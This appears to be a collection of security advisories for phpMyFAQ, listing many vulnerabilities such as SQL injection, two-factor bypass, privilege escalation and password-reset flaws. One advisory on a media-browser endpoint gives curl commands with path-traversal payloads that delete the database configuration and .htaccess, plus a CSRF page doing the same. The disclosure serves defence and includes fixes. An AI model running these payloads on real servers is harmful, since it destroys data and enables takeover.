Summary phpMyFAQ does not enforce uniqueness of email addresses during user registration. This allows multiple distinct accounts to be created with the same email. Because email is often used as an identifier for password resets, notifications, and administrative actions, this flaw can cause account ambiguity and, in certain configurations, may lead to privilege escalation or account takeover.
Details An account management logic flaw in phpMyFAQ allows attackers to register multiple accounts under the same email address. If email is used for password reset or administrative flows, this may result in account takeover, loss of accountability, and abuse of business logic. PoC
1.Register a user with email test@example.com 2.Register another user with the same email. 3.Both accounts appear in /admin/?action=user&useraction=listallusers. <img width="1150" height="628" alt="image" src="https://github.com/user-attachments/assets/8c19f01a-e897-4ca7-b3f8-fcf83e6ff952" />
Impact
-Data integrity loss: Multiple accounts mapped to one email break auditability. -Password reset ambiguity: If reset flow relies on email only, attackers can target or take over accounts. -Privilege escalation: If one account with the same email has admin privileges, an attacker controlling the email may escalate. -Spam / DoS: Attackers can mass-register accounts with a single email to pollute the system.
This is a business logic / authentication vulnerability. Impacted users are anyone relying on phpMyFAQ’s account system where email is assumed to be unique.
Weak Password Requirements in GitHub repository thorsten/phpmyfaq prior to 3.1.8.
Cross-site Scripting (XSS) - Reflected in GitHub repository thorsten/phpmyfaq prior to 3.1.9.
phpMyFAQ before v4.1.6 contains a remote code execution vulnerability in the configuration API that allows authenticated administrators with CONFIGURATIONEDIT and ATTACHMENTADD privileges to write arbitrary PHP files by manipulating the upgrade.lastDownloadedPackage setting. Attackers can upload a malicious ZIP file as an attachment, point the updater configuration to its stored path, and extract it into the application root to achieve code execution as the web server user.
phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.
phpMyFAQ 4.0.0 before 4.1.9 contains an authentication bypass vulnerability where WebAuthn registration endpoints attach credentials to any account without authentication or challenge validation. Attackers can stage a victim username, submit a forged fmt=none attestation to register a passkey, then log in bypassing passwords and TOTP for account takeover.
phpMyFAQ before 4.1.9 contains an SQL injection vulnerability in PdoMysql::escape(), which escapes single quotes with backslashes that are treated literally when MySQL or MariaDB runs in NOBACKSLASHESCAPES mode. Unauthenticated attackers can send a Unicode right single quotation mark in the search parameter of api/autocomplete, which is normalized to an ASCII quote, to read credentials and configuration secrets, modify records, or drop tables.
phpMyFAQ before 4.1.7 contains a brute-force vulnerability in the two-factor authentication step where the failure counter is session-scoped and reset on each successful password re-authentication. Attackers with a valid password can bypass the five-attempt limit by obtaining a fresh session cookie and repeatedly re-authenticating to reset the counter, enabling unbounded TOTP code guessing.
phpMyFAQ before 4.1.7 fails to persist the WebAuthn login challenge generated by prepareForLogin, because neither WebAuthn controller saves the mutated key objects back to the database. At login the anti-replay comparison is skipped by its own null guard, allowing an attacker who captures a successful WebAuthn assertion to replay it indefinitely and authenticate as the user without any interaction or hardware key.
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password without token verification or email confirmation. Attackers can enumerate valid usernames, obtain plaintext passwords via email, and achieve complete account takeover including administrative access.
phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without token validation. Attackers can enumerate valid username and email pairs and force immediate password changes by sending PUT requests to the /api/index.php/user/password/update endpoint, causing account disruption and invalidating legitimate user credentials.
phpMyFAQ versions 3.1.0 through 4.1.6 contain an authentication bypass vulnerability in AuthLdap::create(). When LDAP authentication is enabled, after a successful LDAP bind the code calls User::setStatus('active') unconditionally, which overwrites the accountstatus column of a pre-existing local account from 'blocked' to 'active'. As a result, a user whose local phpMyFAQ account has been administratively blocked can restore their account and log in by authenticating via LDAP. The state transition is not logged, so administrators cannot detect that the block was overridden. Fixed in 4.1.7.
In phpMyFAQ before 2.9.9, there is Cross-Site Request Forgery (CSRF) in admin/stat.adminlog.php.
Summary The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTERSANITIZESPECIALCHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php
Lines 43-66: php #[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])] public function index(Request $request): JsonResponse|Response { $this->userHasPermission(PermissionType::FAQEDIT); // ... $data = jsondecode($request->getContent()); $action = Filter::filterVar($data->action, FILTERSANITIZESPECIALCHARS);
if ($action === 'fileRemove') { $file = Filter::filterVar($data->name, FILTERSANITIZESPECIALCHARS); $file = PMFCONTENTDIR . '/user/images/' . $file;
if (fileexists($file)) { unlink($file); } // Returns success without checking if deletion was within intended directory } }
Root Causes: 1. No path traversal prevention: FILTERSANITIZESPECIALCHARS does not remove or encode ../ sequences. It only encodes HTML special characters. 2. No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48. 3. No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory. 4. HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The ImageController::upload() method (same directory) properly validates file names: php if (pregmatch("/([^\w\s\d\-~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) { // Rejects files with path traversal sequences }
The FilesystemStorage::normalizePath() method also properly validates paths:
php foreach ($segments as $segment) { if ($segment === '..' || $segment === '') { throw new StorageException('Invalid storage path.'); } }
PoC
Direct exploitation (requires authenticated admin session): bash Delete the database configuration file curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=validadminsession' \ -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
Delete the .htaccess file to disable Apache security rules curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=validadminsession' \ -d '{"action":"fileRemove","name":"../../../.htaccess"}'
CSRF exploitation (attacker hosts this HTML page): html <html> <body> <script> fetch('https://target.example.com/admin/api/media-browser', { method: 'GET', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ action: 'fileRemove', name: '../../../content/core/config/database.php' }), credentials: 'include' }); </script> </body> </html>
When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.
Impact
- Server compromise: Deleting content/core/config/database.php causes total application failure (database connection loss). - Security bypass: Deleting .htaccess or web.config can expose sensitive directories and files. - Data loss: Arbitrary file deletion on the server filesystem. - Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.
Remediation
1. Add path traversal validation: php if ($action === 'fileRemove') { $file = basename(Filter::filterVar($data->name, FILTERSANITIZESPECIALCHARS)); $targetPath = realpath(PMFCONTENTDIR . '/user/images/' . $file); $allowedDir = realpath(PMFCONTENTDIR . '/user/images');
if ($targetPath === false || !strstartswith($targetPath, $allowedDir . DIRECTORYSEPARATOR)) { return $this->json(['error' => 'Invalid file path'], Response::HTTPBADREQUEST); }
if (fileexists($targetPath)) { unlink($targetPath); } }
2. Add CSRF protection: php if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) { return $this->json(['error' => 'Invalid CSRF token'], Response::HTTPUNAUTHORIZED); }
3. Change HTTP method to POST or DELETE to align with proper HTTP semantics.
phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to enumerate restricted FAQ entries and read their titles via the /solutionid{id}.html endpoint. Attackers can sequentially iterate solution IDs to discover all FAQs including those restricted to specific users or groups, leaking sensitive metadata through redirect Location headers and page canonical links.
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.
phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any user's password without authorization verification. An attacker with low-privilege admin credentials can escalate to SuperAdmin by modifying the userId parameter in the overwrite-password API request.
phpMyFAQ before 4.1.4 contains missing authorization vulnerabilities in editUser() and updateUserRights() endpoints that allow authenticated administrators to escalate privileges. Non-SuperAdmin users with edituser permission can set issuperadmin flag or grant arbitrary rights to escalate to SuperAdmin access.
phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in GroupController::updatePermissions that allows GROUPEDIT administrators to grant arbitrary rights to groups without verifying they hold those rights themselves. A delegated administrator can exploit this by assigning high-value permissions to a group they belong to, inheriting those rights and escalating privileges up to full administrative control.
phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in the user/add API endpoint that allows non-SuperAdmin administrators to create SuperAdmin accounts. A delegated administrator with USERADD/EDIT/DELETE permissions can call POST /admin/api/user/add with isSuperAdmin: true and attacker-chosen credentials to create a SuperAdmin account, then authenticate as that account to achieve full instance takeover.
phpMyFAQ before 4.1.7 stores password reset tokens in a publicly accessible tracking file when user tracking is enabled. Unauthenticated attackers can read the tracking file at content/core/data/trackingDDMMYYYY to extract reset tokens and replay them against the password reset API to take over user accounts.
phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta does not require the current password when changing an account e-mail in the user control panel (UserController::updateData, api/user/data/update), checking only the session and CSRF token. An attacker with a hijacked session can set the e-mail to their own mailbox and use the password-reset flow to take over non-2FA accounts, including superadmin.
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an uncontrolled resource consumption vulnerability in the unauthenticated faqs and search API endpoints. Attackers can send concurrent GET requests that load and process all database records into PHP memory, exhausting CPU and memory to crash the server.
phpMyFAQ 4.0.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a broken object-level authorization vulnerability in the PUT /api/v3.1/faq/update endpoint, which checks only the global editfaq permission and does not verify access to the target FAQ. Authenticated users with editfaq permission can supply the ID of a restricted FAQ they cannot view to modify its content, bypass moderation, and change its publication state.
phpMyFAQ before 4.1.6 fails to validate path traversal sequences in the existingimage field during category updates, allowing authenticated attackers to delete arbitrary files by exploiting insufficient sanitization in Image::delete(). Attackers can delete the database.php configuration file to disable the installation gate and access the public setup wizard to create new superadmin accounts.
phpMyFAQ before 4.1.7 contains a two-factor authentication bypass vulnerability where remember-me tokens are issued before 2FA verification completes. Attackers with valid credentials can obtain a remember-me cookie, skip the 2FA challenge, and replay the cookie to gain full authenticated access without second-factor verification.
phpMyFAQ before 4.1.7 contains a SQL injection vulnerability in the glossary create and update endpoints caused by truncating an escaped string before embedding it in a SQL literal. Authenticated users with glossary add or edit permissions can craft a payload with a dangling backslash to escape the closing quote and inject arbitrary SQL commands to read sensitive database information.
phpMyFAQ 3.2.0-alpha before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows IdP-authenticated users to skip TOTP two-factor authentication through the Keycloak and Entra ID SSO callbacks. Attackers holding a valid or phished IdP identity linked to a 2FA-enabled account can complete the OIDC flow and obtain a fully authenticated session, including administrator accounts.
phpMyFAQ before 4.1.6 contains a privilege escalation vulnerability in GroupController::updateMembers() that allows administrators with only group-management permissions to join privileged groups without verification of required rights. Attackers can add themselves to pre-existing groups holding user-management rights and immediately inherit those permissions to modify or delete user accounts.